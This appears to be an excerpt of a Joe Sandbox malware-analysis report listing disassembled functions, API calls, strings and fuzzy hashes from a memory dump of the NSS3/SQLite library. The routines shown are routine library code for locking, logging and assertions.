String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction ID: f934cb1a5310f45ec70ad8afe6eb488bc7752c5ef8b436400a870b9e9f4cb30d
Opcode Fuzzy Hash: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction Fuzzy Hash: 4761C274A042159FCB15CFA5C890BAA37B2BF86308F1449A8EC085BB56D730EC57CBE5

Function 6C68FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FE83

Part of subcall function 6C68FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C68FEFA
Part of subcall function 6C68FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C68FF3B

Strings

%s at line %d of [%.10s], xrefs: 6C68FD73, 6C68FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68FD64, 6C68FE26
database corruption, xrefs: 6C68FD6E, 6C68FE30

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction ID: 8c1c24453451d4d476003430cf1dec909f119e780500c80e01100d425a0a8f77
Opcode Fuzzy Hash: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction Fuzzy Hash: 19519270A012159FCB04CF99C994AAEB7F1FF48308F144469EA05AB752E735EC51CBA5

Function 6C7D2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D2FFD
sqlite3_initialize.NSS3 ref: 6C7D3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D3032
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D3073
sqlite3_free.NSS3(?), ref: 6C7D30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7D30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7D30BB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction ID: 5c18ee5b92bae6451606017c007ad35a4dfeed15756315ea4e1ffab71ee2f6ac
Opcode Fuzzy Hash: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction Fuzzy Hash: 6041E271600606ABDB00CF25DA80A86B7F6FF44368F058A38EC1987B40E771F955CBD1

Function 6C755ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]ul), ref: 6C755F0A
TlsGetValue.KERNEL32 ref: 6C755F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C755F2F
PR_Unlock.NSS3(890008E8), ref: 6C755F55
PR_SetError.NSS3(00000000,00000000), ref: 6C755F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C755F7D

Part of subcall function 6C755220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C755F82,8B4274C0), ref: 6C755248
Part of subcall function 6C755220: EnterCriticalSection.KERNEL32(0F6C820D,?,6C755F82,8B4274C0), ref: 6C75525C
Part of subcall function 6C755220: PR_SetError.NSS3(00000000,00000000), ref: 6C75528E
Part of subcall function 6C755220: PR_Unlock.NSS3(0F6C81F1), ref: 6C755299
Part of subcall function 6C755220: free.MOZGLUE(00000000), ref: 6C7552A9

Strings

q]ul, xrefs: 6C755EDB, 6C755F09

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]ul
API String ID: 3150690610-2163148230
Opcode ID: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction ID: 8b3ea66b594293e658be3177600925b5f13a5bb4627b8f6f13eb00c1c0109034
Opcode Fuzzy Hash: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction Fuzzy Hash: 8021F6B1D002059FDB50AF68ED49AEEB7F4EF09318F544039E80AA7741EB32A954CBD1

Function 6C718CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C72124D,00000001), ref: 6C718D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C72124D,00000001), ref: 6C718D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D73
PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D8C

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718DBA

Strings

KRAM, xrefs: 6C718D3E
KRAM, xrefs: 6C718CF9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction ID: def6ad55f5b6a3b37e1a3d91c8c216feb3e2775a3e99c10972b2f704448e6601
Opcode Fuzzy Hash: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction Fuzzy Hash: AD2191B5A187018FCB40EF78C68655AB7F0FF59318F1A897AD89887B01DB34D842CB91

Function 6C73ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C73ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AD23

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AD39

Strings

hSession = 0x%x, xrefs: 6C73ACFE, 6C73AD0E
(CK_INVALID_HANDLE), xrefs: 6C73AD1C
C_MessageDecryptFinal, xrefs: 6C73ACE1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction ID: ba91096ebb8710047ad13aa67af530538cb319d778f51fedbfbfba61c3937249
Opcode Fuzzy Hash: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction Fuzzy Hash: 5A2108306011249FDB219BA5DE4EB7A33B5AB4235EF442435E40D9BB02DB389848C7D6

Function 6C810ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B
Aborting, xrefs: 6C810EB3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction ID: 01696fc1f25c225b3055f9426565fbe6e4d81b1b3a22b709c3c169f51a17e105
Opcode Fuzzy Hash: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction Fuzzy Hash: A501ADB5900108ABDF21AF64DC49C9B3F6DEF46268B404424FD0987A02D775E920DAE2

Function 6C7F1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ol,?,?,6C6F4E1D), ref: 6C7F1C8A
sqlite3_free.NSS3(00000000), ref: 6C7F1CB6

Strings

a generated column, xrefs: 6C7F1C6C
a CHECK constraint, xrefs: 6C7F1C76, 6C7F1C81
an index, xrefs: 6C7F1C67
non-deterministic use of %s() in %s, xrefs: 6C7F1C85
w=ol, xrefs: 6C7F1C44

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ol
API String ID: 1840970956-164381813
Opcode ID: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction ID: 5c3fe82d884508c857933dbe296ae6098b294b3e78a8c297cc2df026ba5d5c98
Opcode Fuzzy Hash: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction Fuzzy Hash: 750164B1A001009BD710AA68D8129B137E5EF8234CB00087DE9498BB02EB22E85BC395

Function 6C7D4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4DE0

Strings

invalid, xrefs: 6C7D4DB8
%s at line %d of [%.10s], xrefs: 6C7D4DDA
API call with %s database connection pointer, xrefs: 6C7D4DBD
misuse, xrefs: 6C7D4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4DCB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction ID: 173aa99e844b218bcc4ddb4056221ac632ba8fc0a300d233653fa67406181ed0
Opcode Fuzzy Hash: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction Fuzzy Hash: 0AF0F022A145782ADA105A54CF13F8233554F22318F072DB0EE087BB92D215A850A3C4

Function 6C7D4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4E4D

Strings

invalid, xrefs: 6C7D4E25
%s at line %d of [%.10s], xrefs: 6C7D4E47
API call with %s database connection pointer, xrefs: 6C7D4E2A
misuse, xrefs: 6C7D4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4E38

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction ID: b5f5c2f2d8a70600ab87453edc9b25e05d1410dbc2d1b21d170be9b7c46e4d0e
Opcode Fuzzy Hash: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction Fuzzy Hash: 2DF0E211E449393BEA2012A5DF11F8337AD4B13329F0BA9F1EE0877F92D205A86062E5

Function 6C709FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C70A086
EnterCriticalSection.KERNEL32(?), ref: 6C70A09B
PR_Unlock.NSS3(?), ref: 6C70A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A0E9
TlsGetValue.KERNEL32 ref: 6C70A11B
EnterCriticalSection.KERNEL32(?), ref: 6C70A12F
PR_Unlock.NSS3(?), ref: 6C70A148

Part of subcall function 6C721A40: PR_Now.NSS3(?,00000000,6C7028AD,00000000,?,6C71F09A,00000000,6C7028AD,6C7093B0,?,6C7093B0,6C7028AD,00000000,?,00000000), ref: 6C721A65

Part of subcall function 6C721940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C724126,?), ref: 6C721966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A1A3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction ID: 8c8b4c7353877caf4bfa96150553455776b62d614b4543132c81ffb19f7f1e7d
Opcode Fuzzy Hash: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction Fuzzy Hash: 9751E4F1B002059BEB109F29DE48AAB77F9AF86368F154139DC1997B02FB31D845C791

Function 6C740C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000,?,?), ref: 6C740CB3

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DEC

Part of subcall function 6C760F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
Part of subcall function 6C760F10: malloc.MOZGLUE(00000001), ref: 6C760F30
Part of subcall function 6C760F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000), ref: 6C740E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000), ref: 6C740E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E79

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Part of subcall function 6C71B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C721397,00000000,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1CB
Part of subcall function 6C71B1A0: free.MOZGLUE(5B5F5EC0,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1D2

Part of subcall function 6C7189E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7188AE,-00000008), ref: 6C718A04
Part of subcall function 6C7189E0: EnterCriticalSection.KERNEL32(?), ref: 6C718A15
Part of subcall function 6C7189E0: memset.VCRUNTIME140(6C7188AE,00000000,00000132), ref: 6C718A27
Part of subcall function 6C7189E0: PR_Unlock.NSS3(?), ref: 6C718A35

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction ID: afb3b636b3bc1fceb29a5759a8868f894ed0ead2486b5534c0fe9a73a05b807c
Opcode Fuzzy Hash: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction Fuzzy Hash: 5651D7F6D002105FEB00AF64DE89EAB37A8AF5521CF554474EC0597B02FB35ED1986A2

Function 6C6F6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6F6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6F6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6F6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6F6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6F6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6F7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6F701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6F7052

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
